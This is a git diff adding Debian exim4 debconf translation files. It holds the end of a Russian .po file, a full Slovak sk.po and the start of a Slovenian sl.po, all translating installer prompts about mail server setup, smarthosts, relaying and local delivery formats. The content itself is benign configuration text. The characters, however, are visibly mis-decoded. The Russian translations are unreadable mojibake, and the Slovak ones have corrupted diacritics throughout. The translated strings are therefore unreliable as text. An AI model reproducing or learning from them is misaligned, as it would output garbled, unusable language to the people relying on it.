+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"ЕÑли Ñтот узел не имеет поÑтоÑнного доÑтупа к DNS-Ñерверу (например, "
+"иÑпользуетÑÑ Ð´Ð¾Ð·Ð²Ð¾Ð½ по требованию по коммутируемой линии), то Ñто может "
+"привеÑти к нежелательному поведению. Ðапример, при запуÑке Exim или "
+"обработке очереди (даже еÑли очередь пуÑта) может инициироватьÑÑ Ð´Ð¾Ñ€Ð¾Ð³Ð¾Ð¹ "
+"дозвон."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Ðужно ответить утвердительно, еÑли ÑиÑтема иÑпользует дозвон по требованию. "
+"ЕÑли имеетÑÑ Ð¿Ð¾ÑтоÑнное Ñоединение Ñ Ð˜Ð½Ñ‚ÐµÑ€Ð½ÐµÑ‚, ответьте отрицательно."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "ÐšÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ð¿Ð¾Ñ‡Ñ‚Ð¾Ð²Ð¾Ð³Ð¾ Ñервера"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Разделить конфигурацию на маленькие файлы?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Пакеты exim4 в Debian могут работать Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸ÐµÐ¹, размещённой в одном "
+"большом файле (/etc/exim4/exim4.conf.template), так и Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸ÐµÐ¹, "
+"разделённой на 50 маленьких файлов, раÑположенных в каталоге /etc/exim4/conf."
+"d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Первый вариант лучше подходит Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð±Ð¾Ð»ÑŒÑˆÐ¸Ñ… изменений и обычно более "
+"надёжен, тогда как поÑледний более удобен Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð½ÐµÐ±Ð¾Ð»ÑŒÑˆÐ¸Ñ… изменений, "
+"но менее надёжен и может привеÑти к краху ÑиÑтемы, еÑли вноÑить Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ "
+"небрежно."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Более подробно об Ñтих двух видах конфигураций можно прочитать в файлах "
+"README (из каталога /usr/share/doc/exim4-base), опиÑывающих наÑтройку в "
+"Debian."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Скрывать локальное почтовое Ð¸Ð¼Ñ Ð² иÑходÑщей почте?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Заголовки иÑходÑщей почты могут быть перезапиÑаны Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ð¸Ð´Ð¸Ð¼Ð¾Ñти "
+"того, что они были Ñозданы на другой ÑиÑтеме. ЕÑли ответить утвердительно, "
+"то будут изменены '${mailname}', 'localhost' и '${dc_other_hostnames}' в "
+"полÑÑ… From, Reply-To, Sender и Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox формат в /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir формат в домашнем каталоге"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Метод доÑтавки локальной почты:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim может ÑохранÑÑ‚ÑŒ локально доÑтавлÑемую почту в различных форматах. "
+"Ðаиболее чаÑто иÑпользуютÑÑ mbox и Maildir. Ð’ формате mbox иÑпользуетÑÑ Ð¾Ð´Ð¸Ð½ "
+"файл Ð´Ð»Ñ Ð²Ñей почты, который хранитÑÑ Ð² каталоге /var/mail/. Ð’ формате "
+"Maildir каждое Ñообщение ÑохранÑетÑÑ Ð² отдельном файле в каталоге ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Заметьте, что большинÑтво почтовых утилит Debian по умолчанию наÑтроены на "
+"иÑпользование mbox как метода локальной доÑтавки."
diff --git a/debian/po/sk.po b/debian/po/sk.po
new file mode 100644
index 0000000..29461ad
--- /dev/null
+++ b/debian/po/sk.po
@@ -0,0 +1,638 @@
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+# Peter Mann <Peter.Mann@tuke.sk>, 2008.
+# Ivan Masár <helix84@centrum.sk>, 2009.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2009-04-10 12:48+0100\n"
+"Last-Translator: Ivan Masár <helix84@centrum.sk>\n"
+"Language-Team: Slovak <sk-i18n@lists.linux.sk>\n"
+"Language: sk\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "OdstrániÅ¥ nedoruÄené správy z adresára spool?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"V Exim spool adresári /var/spool/exim4/input sa nachádzajú doposiaľ "
+"nedoruÄené správy. Odstránenie Exim-u spôsobí ich nedoruÄenie, až kým sa "
+"Exim nepreinštaluje."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Ak sa nezvolí táto možnosť, tak sa spool adresár ponechá a pošty vo fronte "
+"sa môžu doruÄiÅ¥ neskôr po preinÅ¡talovaní Exim-u."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Zmena nastavenia exim4-config namiesto tohto balíka"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 má na nastavenia urÄený balík exim4-config. Ak chcete zmeniÅ¥ "
+"nastavenia Exim4, použite „dpkg-reconfigure exim4-config“."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "internetová lokalita; poÅ¡ta sa prijíma a doruÄuje priamo pomocou SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "zasielanie pošty cez smarthost; príjem cez SMTP alebo fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "zasielanie pošty cez smarthost; žiadna lokálna pošta"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "iba lokálna poÅ¡ta; poÄítaÄ nie je na sieti"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "teraz niÄ nenastavovaÅ¥"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Základný model nastavenia pošty:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Zvoľte si typ nastavenia poštového servera, ktorý najviac vyhovuje vašim "
+"požiadavkám."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"PoÄítaÄe s dynamickými IP adresami, vrátane dialup pripojenia, by mali byÅ¥ "
+"nastavené tak, že vÅ¡etky odchádzajúce poÅ¡ty posielajú na doruÄenie inému "
+"poÄítaÄu, nazývanému „smarthost“. Je to kvôli tomu, že mnoho poÅ¡tových "
+"serverov na internete používa blokovanie pošty prichádzajúcej z dynamických "
+"IP adries ako ochranu proti nevyžiadanej pošte."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Systém s dynamickou IP adresou môže prijímať vlastnú poštu, prípadne sa "
+"lokálne doruÄovanie úplne zakáže (okrem poÅ¡ty pre root-a a postmaster-a)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Naozaj ponechať poštový systém nenastavený?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Kým nenastavíte svoj poÅ¡tový systém, nebude funkÄný a nedá sa používaÅ¥. "
+"Nastavenie môžete samozrejme vykonať neskôr manuálne alebo pomocou príkazu "
+"„dpkg-reconfigure exim4-config“ ako používateľ root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "PoÅ¡tový názov poÄítaÄa:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"„PoÅ¡tový názov poÄítaÄa“ je doménový názov, ktorý sa použije na „doplnenie“ "
+"poštových adries bez doménového názvu."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Tento názov budú využívaÅ¥ aj iné programy. Mal by to byÅ¥ jednoznaÄný plne "
+"kvalifikovaný doménový názov (FQDN - Fully Qualified Domain Name)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Ak je napríklad vaša poštová adresa nieco@domena.sk, tak správna hodnota "
+"tohto nastavenia by mala byť domena.sk."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Ak povolíte prepisovanie hlaviÄiek, tak sa tento názov neobjaví v "
+"odchádzajúcej pošte v riadkoch From:."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Ďalšie cieľové adresy, pre ktoré sa prijíma pošta:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Zadajte bodkoÄiarkami oddelený zoznam domén, pre ktoré sa tento poÄítaÄ "
+"považuje za cieľový server. Tieto domény sa zvyknú nazývať „lokálne domény“. "
+"Lokálny názov poÄítaÄa (${fqdn}) a „localhost“ sa vždy pridajú k tomuto "
+"zoznamu."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Štandardne sa so všetkými lokálnymi doménami zaobchádza rovnako. Ak sú napr. "
+"obidve domény domena1.sk a domena2.sk lokálne, tak sa pošty pre abc@domena1."
+"sk a abc@domena2.sk doruÄia do tej istej schránky. Ak požadujete iné "
+"spracovanie pre rôzne domény, budete potom musieť manuálne upraviť "
+"konfiguraÄné súbory."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domény, pre ktoré sa prenáša pošta (relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Zadajte bodkoÄiarkami oddelený zoznam domén, pre ktoré tento systém prenáša "
+"poÅ¡tu (relay), napr. keÄ je to sekundárny MX server alebo poÅ¡tová brána. To "
+"znamená, že tento systém prijme pošty pre tieto domény z ľubovoľného miesta "
+"na internete a doruÄí ich podľa pravidiel lokálneho doruÄenia."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Neuvádzajte tu lokálne domény. Môžete použiť aj náhradné znaky."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "PoÄítaÄe, ktorým sa prenáša poÅ¡ta (relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Zadajte bodkoÄiarkami oddelený zoznam rozsahov IP adries, pre ktoré bude "
+"tento systém neobmedzene prenášať poštu (relay), teda bude pre nich tzv. "
+"smarthost."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Mali by ste použiť štandardný formát adresa/dĺžka (napr. 194.222.242.0/24 "
+"alebo 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Ak sa tento systém nemá používaÅ¥ ako tzv. smarthost pre iné poÄítaÄe, "
+"nechajte tento zoznam prázdny."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Viditeľný názov domény pre lokálnych používateľov:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Bola nastavená voľba na skrytie lokálneho poštového názvu v odchádzajúcich "
+"poštách. Je teda potrebné uviesť doménové meno, ktoré by mal tento systém "
+"používaÅ¥ ako doménovú ÄasÅ¥ poÅ¡tovej adresy odosielateľa lokálnych "
+"používateľov."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP adresa alebo názov tzv. smarthost odchádzajúceho poÄítaÄa:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Zadajte IP adresu alebo názov poštového servera, ktorý sa použije týmto "
+"systémom ako tzv. smarthost odchádzajúci poÄítaÄ. Ak smarthost prijíma vaÅ¡u "
+"poÅ¡tu iba na porte inom ako TCP/25, pridajte dve dvojbodky a Äíslo portu "
+"(napr. smarthost.domena.sk::587 alebo 192.168.254.254::2525). Dvojbodky v "
+"IPv6 adresách musíte zdvojiť."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Ak tzv. smarthost odchádzajúci poÄítaÄ potrebuje autentifikáciu, pozrite si "
+"špecifické Debian README súbory v /usr/share/doc/exim4-base, kde nájdete "
+"poznámky o nastavení SMTP autentifikácie."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Príjemca pošty pre používateľov root a postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"PoÅ¡ta pre používateľov „postmaster“, „root“ a Äalších systémových "
+"používateľov sa musí presmerovaÅ¥ na používateľské konto súÄasného správcu "
+"systému."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Ak sa táto hodnota nevyplní, takéto pošty sa uložia do /var/mail/mail, ale "
+"neodporúÄa sa to."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"PoÅ¡ta pre postmaster-a by sa mala ÄítaÅ¥ radÅ¡ej na systéme, pre ktorý bola "
+"urÄená ako byÅ¥ presmerovaná inde, takže uvedení používatelia (aspoň jeden z "
+"nich), by nemali presmerovávaÅ¥ svoju poÅ¡tu mimo tohto poÄítaÄa. Použite pred "
+"menom „real-“, ak si chcete vynútiÅ¥ lokálne doruÄenie."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Viacero používateľských mien treba oddeliť medzerami."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP adresy na príjem prichádzajúcich SMTP spojení:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Zadajte bodkoÄiarkami oddelený zoznam IP adries. Na vÅ¡etkých uvedených IP "
+"adresách bude Exim SMTP ÄakaÅ¥ na prichádzajúce spojenia."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Ak necháte toto pole prázdne, Exim bude ÄakaÅ¥ na spojenie na vÅ¡etkých "
+"dostupných sieťových rozhraniach."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Ak tento poÄítaÄ prijíma poÅ¡tu cez lokálne služby (a nie z iných poÄítaÄov), "
+"odporúÄa sa zakázaÅ¥ externé pripojenia na lokálny Exim. Medzi takéto lokálne "
+"služby patria lokálne poštové programy (MUA), ktoré používajú na pripojenie "
+"localhost, podobne ako napr. fetchmail. Ak sa tu použije 127.0.0.1, tak sa "
+"vlastne zakážu externé pripojenia a tým aj Äakanie na pripojenia na "
+"verejných sieťových rozhraniach."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "MinimalizovaÅ¥ poÄet DNS požiadaviek (VytáÄanie-na-požiadanie)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Exim vykonáva v normálnom režime DNS požiadavky pri štarte, prijímaní alebo "
+"odosielaní pošty. Je to kvôli zaznamenávaniu presných záznamov o jeho "
+"Äinnosti a dovoľuje minimalizovaÅ¥ poÄet nemenných hodnôt v konfiguraÄnom "
+"súbore."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Ak tento poÄítaÄ nemá trvalý prístup k DNS serverom a používa vytáÄané "
+"(dialup) pripojenie na požiadanie, môže to mať nežiadúce následky. Spustenie "
+"Exim-u alebo kontrola frontu poÅ¡ty (aj keÄ v nej nie sú žiadne správy) môžu "
+"spustiÅ¥ pripojenie, Äo vás môže stáť peniaze."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Táto možnosÅ¥ by mala byÅ¥ zvolená, ak tento systém používa vytáÄané "
+"pripojenie na požiadanie (dial-on-demand). Ak má tento poÄítaÄ permenentné "
+"pripojenie k internetu, túto voľbu treba zamietnuť."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Nastavenie poštového servera"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Rozdeliť nastavenie do menších súborov?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debian balíky exim4 môžu na vytvorenie výslednej konfigurácie použiÅ¥ buÄ "
+"„nerozdelenú konfiguráciu“ - jeden veľký súbor (/etc/exim4/exim4.conf."
+"template) alebo „rozdelenú konfiguráciu“, kde sa aktuálne nastavenie Exim-u "
+"vytvorí zo zhruba 50 malých súborov v adresári /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Nerozdelená konfigurácia je vhodnejšia na rozsiahle úpravy a všeobecne je o "
+"nieÄo stabilnejÅ¡ia. Rozdelená konfigurácia ponúka pohodlný spôsob na malé "
+"zmeny, ale je náchylnejšia na chyby a môže poškodiť nastavenie pri "
+"neopatrných zmenách."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Podrobnejší popis rozdelenej a nerozdelenej konfigurácie nájdete v README "
+"súboroch v /usr/share/doc/exim4-base špecifických pre Debian."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Skryť lokálny názov poštového servera v odchádzajúcej pošte?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"HlaviÄky odchádzajúcej poÅ¡ty sa môžu prepisovaÅ¥, aby sa navonok javili ako "
+"odoslané z iného systému. Ak sa zvolí táto možnosť, prepíšu sa "
+"„${mailname}“, „localhost“ a „${dc_other_hostnames}“ v poliach From, Reply-"
+"To, Sender a Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox formát v adresári /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir formát v domácom adresári"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Spôsob doruÄovania pre lokálnu poÅ¡tu:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim je schopný lokálne doruÄovaÅ¥ poÅ¡tu v rôznych formátoch. Najviac "
+"používané formáty sú mbox a Maildir. mbox používa jediný súbor pre celý "
+"poÅ¡tový prieÄinok uložený v adresári /var/mail/. Maildir formát používa "
+"samostatné súbory pre každú poštu uložené v adresári ~/Maildir/. "
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Uvedomte si, že väÄÅ¡ina poÅ¡tových nástrojov v Debiane predpokladá vo svojom "
+"predvolenom nastavení doruÄovanie poÅ¡ty do formátu mbox."
diff --git a/debian/po/sl.po b/debian/po/sl.po
new file mode 100644
index 0000000..988781a
--- /dev/null
+++ b/debian/po/sl.po
@@ -0,0 +1,832 @@
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
